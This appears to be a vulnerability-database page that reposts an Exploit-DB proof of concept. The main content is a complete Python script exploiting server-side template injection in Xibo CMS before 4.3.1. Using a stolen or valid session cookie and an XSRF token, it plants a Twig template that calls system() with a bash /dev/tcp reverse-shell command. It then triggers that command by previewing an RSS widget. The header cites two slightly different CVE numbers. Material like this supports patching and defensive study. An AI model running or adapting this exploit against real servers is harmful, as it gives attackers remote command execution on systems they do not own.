| Reporter | Title | Published | Views | Family All 14 |
|---|---|---|---|---|
| CVE-2025-62369 | 5 Nov 202501:36 | – | circl | |
| Xibo CMS 安全漏洞 | 4 Nov 202500:00 | – | cnnvd | |
| CVE-2025-62369 | 4 Nov 202521:18 | – | cve | |
| CVE-2025-62639 | 1 Jan 197600:00 | – | cve | |
| CVE-2025-62369 Xibo CMS: Remote Code Execution through module templates | 4 Nov 202521:18 | – | cvelist | |
| CVE-2025-62639 | 1 Jan 197600:00 | – | cvelist | |
| Xibo CMS 4.3.0 - RCE via SSTI | 29 Apr 202600:00 | – | exploitdb | |
| EUVD-2025-34947 | 18 Oct 202503:30 | – | euvd | |
| CVE-2025-62369 | 4 Nov 202522:16 | – | nvd | |
| CVE-2025-62639 | 18 Oct 202503:15 | – | nvd |
# Exploit Title: Xibo CMS - Authenticated Remote Code Execution via SSTI
# Date: 2025-11-04
# Exploit Author: Cristian Branet
# Vendor Homepage: https://xibosignage.com/
# Software Link: https://github.com/xibosignage/xibo-cms/
# Version: < 4.3.1
# Tested on: Linux (Ubuntu 22.04)
# CVE : CVE-2025-62639
# Article: https://cristibtz.github.io/posts/CVE-2025-62369/
import requests, argparse, pyfiglet, re, json, time
parser = argparse.ArgumentParser(description="This script exploits CVE-2025-62369 in Xibo CMS to get a reverse shell.", formatter_class=argparse.ArgumentDefaultsHelpFormatter)
parser.add_argument("-u", "--url", required=True, help="Xibo CMS server URL (e.g., http://localhost)")
parser.add_argument("-s", "--session-key", required=True, help="Use the PHPSESSID")
parser.add_argument("-i", "--ip", required=True, help="IP address for reverse shell")
parser.add_argument("-p", "--port", required=True, help="Port for reverse shell")
class Exploit:
def __init__(self, url, session, ip, port):
self.url = url
self.session = session
self.ip = ip
self.port = port
self.headers = {
"Cookie": f"PHPSESSID={session}",
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36"
}
def get_xsrf_token(self):
try:
response = requests.get(f"{url}/statusdashboard", headers=self.headers)
except Exception as e:
print(f"Error connecting to {url}: {e}")
exit(1)
text = response.text
pattern = r'name="token" content="([a-f0-9]+)"'
try:
xsrf_token = re.search(pattern, text).group(1)
except Exception as e:
print(f"Error extracting XSRF token: {e}")
exit(1)
return xsrf_token
def create_module_template(self, xsrf_token):
timestamp = int(time.time())
headers = {
"Cookie": f"PHPSESSID={session}",
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36",
"X-XSRF-TOKEN": f"{xsrf_token}",
"X-Requested-With": "XMLHttpRequest"
}
data = {
"templateId": f"exploit_poc_{timestamp}",
"title": "Template for PoC",
"dataType": "article",
"copyTemplateId": "",
"showIn": "layout"
}
try:
response = requests.post(f"{self.url}/developer/template", data=data, headers=headers)
except Exception as e:
print(f"Error creating module template: {e}")
exit(1)
response_info = json.loads(response.text)
template_id = response_info["id"]
return template_id, timestamp, f"exploit_poc_{timestamp}"
def update_module_template(self, xsrf_token, template_id, name):
headers = {
"Cookie": f"PHPSESSID={session}",
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36",
"X-XSRF-TOKEN": f"{xsrf_token}",
"X-Requested-With": "XMLHttpRequest"
}
data = {
"templateId":f"{name}",
"title": f"Template for PoC - {name}",
"dataType": "article",
"showIn": "layout",
"enabled": "on",
"developer-template-properties": [],
"properties": [],
"twig": '<div style="background: red; color: white; font-size: 24px; padding: 20px;">Command Execution: {{["' + f"bash -c 'bash -i >& /dev/tcp/{ip}/{port} 0>&1'" + '"]|filter(\'system\')}} <br></div>',
"hbs": "",
"style": "",
"head": "",
"onTemplateRender": "",
"onTemplateVisible": "",
"isInvalidateWidget": "on"
}
try:
response = requests.put(f"{self.url}/developer/template/{template_id}", data=data, headers=headers)
except Exception as e:
print(f"Error updating module template: {e}")
exit(1)
response_info = json.loads(response.text)
return response_info["success"]
def create_normal_template(self, xsrf_token):
timestamp = int(time.time())
headers = {
"Cookie": f"PHPSESSID={session}",
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36",
"X-XSRF-TOKEN": f"{xsrf_token}",
"X-Requested-With": "XMLHttpRequest"
}
data = {
"folderId": 1,
"name": f"exploit_poc_template_{timestamp}",
"tags": "",
"tagValueInput": "",
"resolutionId": 1,
"description": "Exploit template"
}
try:
response = requests.post(f"{self.url}/template", data=data, headers=headers)
except Exception as e:
print(f"Error creating normal template: {e}")
exit(1)
response_info = json.loads(response.text)
template_id = response_info["id"]
layout_id = response_info["data"]["layoutId"]
region_id = response_info["data"]["regions"][0]["regionId"]
playlist_id = response_info["data"]["regions"][0]["regionPlaylist"]["playlistId"]
return template_id, layout_id, region_id, playlist_id
def add_rss_widget(self, xsrf_token, playlist_id, name):
headers = {
"Cookie": f"PHPSESSID={session}",
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36",
"X-XSRF-TOKEN": f"{xsrf_token}",
"X-Requested-With": "XMLHttpRequest"
}
data = {
"templateId": f"{name}",
}
try:
response = requests.post(f"{url}/playlist/widget/rss-ticker/{str(int(playlist_id) + 1)}", data=data, headers=headers)
except Exception as e:
print(f"Error adding RSS widget: {e}")
exit(1)
response_info = json.loads(response.text)
widget_id = response_info["id"]
return widget_id
def preview_rss_widget(self, xsrf_token, widget_id, playlist_id):
headers = {
"Cookie": f"PHPSESSID={session}",
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36",
"X-XSRF-TOKEN": f"{xsrf_token}",
"X-Requested-With": "XMLHttpRequest"
}
try:
response = requests.get(f"{url}/playlist/widget/resource/{str(int(playlist_id) + 1)}/{widget_id}?preview=1&isEditor=1", headers=headers)
except Exception as e:
print(f"Error previewing RSS widget: {e}")
exit(1)
return response.status_code
if __name__=="__main__":
print("\n")
print(pyfiglet.figlet_format("CVE-2025-62369 PoC", font="small", width=100))
print("Author: Cristian Branet")
print("GitHub: github.com/cristibtz")
print("Description: This script exploits CVE-2025-62369 in Xibo CMS to get a reverse shell.")
print("\n")
args = parser.parse_args()
url = args.url
session = args.session_key
ip = args.ip
port = args.port
xibo_exploit = Exploit(url, session, ip, port)
try:
xsrf_token = xibo_exploit.get_xsrf_token()
except Exception as e:
print(f"Error getting XSRF token: {e}")
exit(1)
print("Retrieved XSRF token: ")
print(xsrf_token)
try:
module_template_id, creation_time, name = xibo_exploit.create_module_template(xsrf_token)
except Exception as e:
print(f"Error creating module template: {e}")
exit(1)
print(f"Created module template with id: {module_template_id} with name: {name}")
try:
update_success = xibo_exploit.update_module_template(xsrf_token, module_template_id, name)
except Exception as e:
print(f"Error updating module template: {e}")
exit(1)
print(f"Updated module template with success: {update_success}")
print("Creating normal template...")
try:
normal_template_id, layout_id, region_id, playlist_id = xibo_exploit.create_normal_template(xsrf_token)
except Exception as e:
print(f"Error creating normal template: {e}")
exit(1)
print("Created normal template with: ")
print(f"Normal Template ID: {normal_template_id}")
print(f"Layout ID: {layout_id}")
print(f"Region ID: {region_id}")
print(f"Playlist ID: {playlist_id}")
print("Adding RSS widget to playlist...")
try:
widget_id = xibo_exploit.add_rss_widget(xsrf_token, playlist_id, name)
except Exception as e:
print(f"Error adding RSS widget: {e}")
exit(1)
print(f"Added RSS widget with ID: {widget_id}")
print("Previewing RSS widget to trigger the exploit...")
try:
status_code = xibo_exploit.preview_rss_widget(xsrf_token, widget_id, playlist_id)
except Exception as e:
print(f"Error previewing RSS widget: {e}")
exit(1)
if status_code == 200:
print("Exploit triggered successfully! Check your listener for a reverse shell.")
else:
print("Failed to trigger the exploit.")Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation